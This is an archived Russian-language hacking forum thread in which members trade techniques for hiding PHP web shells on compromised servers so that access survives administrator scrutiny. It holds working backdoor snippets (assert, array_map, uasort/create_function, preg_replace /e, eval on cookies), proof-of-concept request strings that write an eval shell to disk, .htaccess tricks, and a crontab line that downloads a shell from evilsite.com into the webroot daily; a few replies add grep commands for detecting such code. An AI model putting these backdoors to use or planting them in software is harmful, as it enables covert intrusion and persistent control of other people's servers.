Просмотр полной версии : Лучшие способы спрятать php шелл!
Собираю коллекцию способов, как спрятать шелл
1) Спрятать в .htaccess
# Override default deny rule to make .htaccess file accessible over web
Order allow,deny
Allow from all
# Make .htaccess file be interpreted as php file. This occur after apache has interpreted
# the apache directoves from the .htaccess file
AddType application/x-httpd-php .htaccess
###### SHELL ###### &1"); ?>###### LLEHS ######
domain/path/.htaccess?c=command
2) Аппенд ко всем скриптам php_value auto_append_file "/tmp/httpconf.tmp"
3) Спрятать в гиф
.htaccess
AddType application/x-httpd-php gif
4) Записать шелл в базу данных, в неприметную новость
Какие еще хорошие способы спрятать шелл, чтобы долго удержаться в системе?
aydin-ka
15.10.2011, 21:11
1. Для начала разберем структуру команды crontab. Таблица crontab состоит из 6 колонок, разделяемых пробелами или табуляторами. Первые пять колонок задают время выполнения (Минута, Час, День, Месяц, День недели), в них может находиться число, список чисел, разделенных запятыми, диапазон чисел, разделенных тире, или символ ‘*’.
Все остальные символы в строке интерпретируются как выполняемая команда с ее параметрами.
2. Вероятно, на сервере нет поддержки псевдотерминала, поэтому создадим временный файл /tmp/cmd со следующим содержимым:
SHELL=/bin/bash 1 0 * * * wget http://evilsite.com/shell.txt -O /home/user/www/shell.php
3. Запускаем команду crontab /tmp/cmd.
4. Радуемся, ведь теперь в директории /var/spool/cron (может меняться в зависимости от системы) будет создан файл с именем пользователя, который будет каждый день, в 00 часов 01 минуту запускать команду wget, для скачивания нашего шелла.
мини-статья из журнала ][акер декабрь 2009 года.
Proktolog
15.10.2011, 23:01
Cesto said:
4) Записать шелл в базу данных, в неприметную новость
Вот об этом нельзя ли поподробней, плиз? Чаще всего в этом случае пхп код просто выводится на экран.
Expl0ited
16.10.2011, 00:29
Proktolog said:
Вот об этом нельзя ли поподробней, плиз? Чаще всего в этом случае пхп код просто выводится на экран.
Для того что бы php код не выводился, а выполнялся, нужно использовать callback функции (http://php.su/learnphp/datatypes/?callback).
Expl0ited said:
Для того что бы php код не выводился, а выполнялся, нужно использовать
callback функции (http://php.su/learnphp/datatypes/?callback)
.
Если не трудно,можно пример,как это выглядеть должно?
Expl0ited
25.10.2011, 14:21
Mail2k said:
Если не трудно,можно пример,как это выглядеть должно?
PHP:
В колонке `pass` - phpinfo(); в колонке `user` - assert, вот структура базы, для теста:
PHP:
CREATE TABLEIFNOT EXISTS`users` (
`id`int(10)NOT NULL AUTO_INCREMENT,
`user`varchar(255)NOT NULL,
`pass`varchar(255)NOT NULL,
PRIMARY KEY(`id`)
)ENGINE=MyISAMDEFAULTCHARSET=utf8 AUTO_INCREMENT= 2;
INSERT INTO`users` (`id`, `user`, `pass`)VALUE S
(1,'assert','phpinfo();');
Т.е. логика у скрипта такая, если в _REQUEST['userlogin'] передаются данные, то скрипт обращается к базе и запрашивает из таблицы users две колонки user и pass у записи где id равен 1, и эти данные попадают в функцию array_filter которая возвращает данные отфильтрованные в соответствии с результатом функции обратного вызова, в качестве такой функции мы используем assert, которая может обработать строку как PHP код, в качестве этой строки у нас phpinfo(); что собственно и работает нам на руку.
Expl0ited said:
PHP:
В колонке `pass` - phpinfo(); в колонке `user` - assert, вот структура базы, для теста:
PHP:
CREATE TABLEIFNOT EXISTS`users` (
`id`int(10)NOT NULL AUTO_INCREMENT,
`user`varchar(255)NOT NULL,
`pass`varchar(255)NOT NULL,
PRIMARY KEY(`id`)
)ENGINE=MyISAMDEFAULTCHARSET=utf8 AUTO_INCREMENT= 2;
INSERT INTO`users` (`id`, `user`, `pass`)VALUE S
(1,'assert','phpinfo();');
Т.е. логика у скрипта такая, если в _REQUEST['userlogin'] передаются данные, то скрипт обращается к базе и запрашивает из таблицы users две колонки user и pass у записи где id равен 1, и эти данные попадают в функцию array_filter которая возвращает данные отфильтрованные в соответствии с результатом
функции обратного вызова
, в качестве такой функции мы используем assert, которая может обработать строку как PHP код, в качестве этой строки у нас phpinfo(); что собственно и работает нам на руку.
если я правильно понял,то при данной схеме вместо какой-то определенной страницы на сайте будет загружаться вебшелл? Верно?
А можно ли к примеру сделать таким образом,чтобы при запросе опредленной страницы вебшел из базы записывался в какую-нибудь папку? И записывался бы только в случае,его отсутствия в этой папке.
Expl0ited
25.10.2011, 14:56
Конечно можно. Пищу для размышлений и пример реализации я тебе дал.
А как вам такой вариант незаметного шелла?
Не каждый может заметить такой шелл.
PHP:
@preg_replace('/(.*)/e',$_SERVER['HTTP_REMOTE_ADDR'],NULL);
И отправляем пакет, в хеадер добавляем:
Code:
REMOTE_ADDR: phpinfo();
Единственное, нужно чтобы флаг e был разрешен, по дефолту — разрешен.
Аппенд ко всем скриптам php_value auto_append_file "/tmp/httpconf.tmp"
Я заметил привычку прятать шеллы и прочие скрипты на сервере в папке /tmp/ Но видимо не все знают что содержимое папки /tmp/ живет до ребута, хоть сервера и редко ребутят, но все же.
PHP:
$_($_1);
s.php?_=eval&_1=phpinfo();
m0Hze said:
PHP:
$_($_1);
s.php?_=eval&_1=phpinfo();
только при register globals on.
Даже если бы rg on был бы, то ничего не вышло бы, т.к. eval не функция, поэтому ее нельзя в переменную заложить, но я понимаю что это просто пример был, можно использовать другие варинаты, например прямая запись в файл.
Cennarios
12.11.2011, 17:12
Я бы подходил тоньше в данному вопросу. А именно - использование методик сокрытия доступа , как такового в зависимости от условий каждого конкретного случая. К примеру VPS с одним сайтом, сетевые правила разрешают входящие соединения без явных ограничений ( тупо не перекрываются коннекты на 33, 404, 31337 etc произвольные открытые несанкционировано порты). В крон вбивается скрипт физически размещаемый вне локаций имеющих отношение к веб сервисам. Каждые 10-15 мин он проверяет наличие активирующей команды на на стороннем сервере ( банально в том же .txt) , если TRUE -> биндится порт - благо если сервисами не забит порт 8080. А далее удаленно выполняется к примеру тот же PHP. Кому-то может показаться чрезмерно массивным и излишне сомнительным. На практике же ,все достаточно просто в реализации. Пользуюсь и , как показывает статистика, доступ к ресурсам живет дольше чем в варианте постояттного физического размещения шела в директории веб-сервера.
У меня такая задумка:
В любом модуле,плагине вообщем в любой странице
сайта вставляем прозрачный или под цвет сайта
(главное чтоб его не видно было)
на пример 2х2 код iframe и чтобы он находился
где нибудь в углу, и при клике по нему делался
back-connect на любой порт, получаем консоль
чем не полноценный шелл.Так же можно релизовать
проксю заместо кода back-connecta ставим редирект
на другой сайт с таким же iframe и так далее
N'ое количество сайтов.Чем не цепочка прокси.
А для GUI'шников на последнем N'ом сайте можно и WSO
Пусть попробуют проследить.
Cennarios
30.11.2011, 14:12
2 vasykas:
Ты наверное не понял сути вопроса данного поста. Речь идет о том, как спрятать выполняемый код от администратора какого-либо ресурса, на котором необходимо разместить веб-шелл. Именно то, как спрятать вызываемый через iframe(как ты предлагаешь) код, именно и обсуждается в данном посте.
Вот мой способ(можно в иднекс запихнуть например):
PHP:
Если кто-то сменить пароль/удалить все возвращается на место
UPD. Поправил.
Ereee said:
Вот мой способ(можно в иднекс запихнуть например):
PHP:
Если кто-то сменить пароль/удалить все возвращается на место
А ничего что переменная $b - не установлена?
У тебя по сути всегда будет $a!=$b.
Да и потом, переедет сайт на новый сервер, а там allow_url_fopen=Off, вот понавылазиет им варнингов.
Если нато уже пошло, то уж куда лучше @eval($_COOKIE[lol]); оно и не так палится.
Да и вообще никакой логики, файл шелла проверяется обычный shell.php, а заливаешь ты уже куда-то в глубь.
Expl0ited
11.01.2012, 16:18
Boolean said:
А ничего что переменная $b - не установлена?
У тебя по сути всегда будет $a!=$b.
Да и потом, переедет сайт на новый сервер, а там allow_url_fopen=Off, вот понавылазиет им варнингов.
Если нато уже пошло, то уж куда лучше @eval($_COOKIE[lol]); оно и не так палится.
Да и вообще никакой логики, файл шелла проверяется обычный shell.php, а заливаешь ты уже куда-то в глубь.
PHP:
egrep-H"eval\("`find . -type f -name "*.php" -print`
2Boolean,
sorry. Там не $b = md5_file($b); а $b = md5_file($fileb);
>У тебя по сути всегда будет $a!=$b.
С чего это вдруг?
2Expl0ited,
+1
Ereee said:
>У тебя по сути всегда будет $a!=$b.
С чего это вдруг?
Потому что $b _не_была_ установлена ранее. Теперь все ок.
Ну не нравится eval, есть куча других возможностей исполнить код.
PHP:
assert($_COOKIE['login']);
Expl0ited
11.01.2012, 17:11
Boolean said:
Потому что $b _не_была_ установлена ранее. Теперь все ок.
Ну не нравится eval, есть куча других возможностей исполнить код.
PHP:
assert($_COOKIE['login']);
PHP:
egrep-H"assert\("`find . -type f -name "*.php" -print`
Expl0ited said:
PHP:
egrep-H"assert\("`find . -type f -name "*.php" -print`
ололо.
Во-первых assert ищут крайне редко.
Во-вторых, "shell" бы также нашли. =\\
В-третьих это в любом случае лучше чем та втыкалка шелла, что предложил Ereee 5 постов выше.
upd:
а
Code:
assert ($_GET['lol'])
уже не найдет. пичалько.
Expl0ited
11.01.2012, 17:35
PHP:
egrep-H"assert|eval"`find . -type f -name "*.php" -print`
Хорошо спрятан тот бекдор, который не возможно найти средствами автоматизации.
1) $_GET lol.
2) egrep -H "assert" `find . -type f -name "*.php" -print` lol.
3) lol
Эдакий eval на основе «бага» php.
create_function - по своей сути обычный eval.
Сам код:
PHP:
uasort($_REQUEST['login'],$_REQUEST['password']);
PoC:
Code:
re_password=phpinfo();&login[]=};eval($_REQUEST['re_password']);//&login[]=$b, $a&password=create_function
Expl0ited
16.01.2012, 18:41
Boolean said:
Эдакий eval на основе «бага» php.
create_function - по своей сути обычный eval.
Сам код:
PHP:
uasort($_REQUEST['login'],$_REQUEST['password']);
PoC:
Code:
re_password=phpinfo();&login[]=};eval($_REQUEST['re_password']);//&login[]=$b, $a&password=create_function
это не баг, это обычная callback (http://www.php.net/manual/ru/language.pseudo-types.php#language.types.callback) функция
Expl0ited said:
это не баг, это обычная
callback (http://www.php.net/manual/ru/language.pseudo-types.php#language.types.callback)
функция
под багом я понимал не каллбак, а сам баг сreate_function:
https://bugs.php.net/bug.php?id=48231
KolosJey
16.01.2012, 22:16
Boolean said:
под багом я понимал не каллбак, а сам баг сreate_function:
https://bugs.php.net/bug.php?id=48231
Насчёт "бага" там отличный ответ разработчиков. Лучше пожалуй и не скажешь
«callback похождения»
Небольшой наборчик функций, которые при обычных условиях не вызывают подозрений.
Все параметры могут быть также вынесены в отдельные переменные, для уменьшения подозрительности.
array_map, array_filter, array_walk
PHP:
@array_map($_REQUEST['login'],$_REQUEST['password']);
Или
@array_filter($_REQUEST['password'],$_REQUEST['login']);
Или
@array_walk($_REQUEST['password'],$_REQUEST['login']);
Кому как,что лучше смотри ся.
PoC:
Code:
http://localhost/test.php?login=system&password[]=type+test.php
array_diff_ukey
PHP:
@array_diff_ukey(@array((string)$_REQUEST['password'] =>1), @array((string)$_REQUEST['re_password'] =>2),$_REQUEST['login']);
от callback функции требуется принятие 2 параметров, поэтому необходимо приготовить такую функцию, например file_put_contents.
PoC:
Code:
http://localhost/test.php?login=file_put_contents&password=shell.php&re_password=%3C?php%20eval%28$_REQUEST[cmd]%29;%20?%3E
В файле shell.php будет «евальник».
Или же PoC[2], опять же "баг" с create_function:
Code:
http://localhost/test.php?login=create_function&password=$a, $b&re_password=}phpinfo();//
Результатом будет являться выполнение phpinfo();
Boolean said:
↑ (https://antichat.live/posts/2880746/)
И отправляем пакет, в хеадер добавляем:
Code:
REMOTE_ADDR: phpinfo();
Дико извиняюсь - но каким образом можно добавить в REMOTE_ADDR: ?
Пробовал курлом через дополнительные параметры заголовка - не передаёт
Code:
$ipaddress = array(
"REMOTE_ADDR: phpinfo()"
);
curl_setopt( $ch, CURLOPT_HTTPHEADER, $ip_address);
На сколько я понимаю сервер эту инфу не из заголовков запроса берёт.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot